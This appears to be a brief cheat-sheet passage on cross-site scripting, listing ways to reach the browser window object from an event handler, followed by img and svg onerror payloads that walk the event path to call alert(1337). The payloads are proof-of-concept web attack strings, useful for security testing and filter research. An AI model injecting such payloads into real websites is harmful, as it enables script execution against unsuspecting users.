// Some ways to access window

frames

parent
self
top //If inside a frame, this is top most window

// Access document from a node object

// There is a path property on each error event whose last element is the window
<img src onerror=event.path.pop().alert(1337)>
// In other browsers the method is
<img src onerror=event.composedPath().pop().alert(1337)>
// In case of svg, the "event" object is called "evt"
<svg><image href=1 onerror=evt.composedPath().pop().alert(1337)>

// From an HTML event
// Events from HTML are executed in this context
